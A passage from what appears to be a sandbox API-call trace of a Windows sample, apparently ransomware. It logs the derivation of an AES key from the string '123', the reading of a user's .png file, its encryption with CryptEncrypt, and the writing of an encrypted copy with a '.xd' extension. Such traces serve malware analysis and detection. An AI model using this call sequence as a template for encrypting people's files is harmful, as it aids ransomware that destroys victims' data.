lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0060.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629350, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0060.537] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0060.537] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0060.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294f0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0060.538] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.538] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.538] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.538] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0060.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621630, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0060.539] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0060.539] CryptHashData (hHash=0x164c870, pbData=0x1629330, dwDataLen=0x3, dwFlags=0x1) returned 1 [0060.539] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.539] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.539] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.539] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.539] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.539] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.539] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.539] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0060.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16218a0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0060.540] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0060.540] CryptDeriveKey (in: hProv=0x17aa890, Algid=0x6610, hBaseData=0x164c870, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c670) returned 1 [0060.540] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.540] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.540] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.540] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.540] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.540] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.540] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0060.540] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.540] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0060.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0060.541] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0060.541] CryptDestroyHash (hHash=0x164c870) returned 1 [0060.541] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.541] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.541] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.541] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.541] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.541] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\82svu4fyp.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0060.541] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.542] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0060.542] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.542] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.542] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.542] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq")) returned 0x10 [0060.542] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\82svu4fYP.png.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\82svu4fyp.png.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0060.543] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.543] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.543] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.543] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.545] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0060.545] ReadFile (in: hFile=0x3bc, lpBuffer=0x17ccde8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17ccde8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0060.546] ReadFile (in: hFile=0x3bc, lpBuffer=0x17ccde8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17ccde8*, lpNumberOfBytesRead=0x130edb0*=0x8efa, lpOverlapped=0x0) returned 1 [0060.585] ReadFile (in: hFile=0x3bc, lpBuffer=0x17ccde8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17ccde8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0060.590] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.590] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.590] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.590] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0060.592] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.592] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.592] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0060.592] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.592] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0060.592] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.592] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.592] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.592] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0060.592] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0060.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0060.593] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0060.593] CryptGetKeyParam (in: hKey=0x164c670, dwParam=0x7, pbData=0x1629470, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629470*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0060.593] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.593] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.593] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.593] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.594] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.594] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.594] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.594] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.595] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.595] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.596] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.596] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.596] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.596] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.596] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.596] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.596] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.596] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.596] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.596] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.596] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.596] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.596] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.596] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.598] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0060.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621720, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0060.598] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0060.598] CryptEncrypt (in: hKey=0x164c670, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x18efa, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x18f00) returned 1 [0060.598] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.598] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.598] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.598] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.598] CharLowerBuffW (in: lpsz="byte[102145]", cchLength=0xc | out: lpsz="byte[102145]") returned 0xc [0060.599] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.601] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.601] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.601] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.602] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0060.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a38, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0060.602] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0060.602] CryptEncrypt (in: hKey=0x164c670, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x180ec00*, pdwDataLen=0x130e618*=0x18efa, dwBufLen=0x18f00 | out: pbData=0x180ec00*, pdwDataLen=0x130e618*=0x18f00) returned 1 [0060.603] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.603] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.603] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.603] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.603] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.603] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.603] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0060.603] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.603] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.604] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.604] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.604] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.604] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.604] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.604] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.604] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.604] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.612] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.612] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.612] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.612] WriteFile (in: hFile=0x2ac, lpBuffer=0x1885f10*, nNumberOfBytesToWrite=0x18f00, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x1885f10*, lpNumberOfBytesWritten=0x130f01c*=0x18f00, lpOverlapped=0x0) returned 1 [0060.614] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.614] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.614] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0060.614] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.615] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.615] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0060.615] CharLowerBuffW (in: 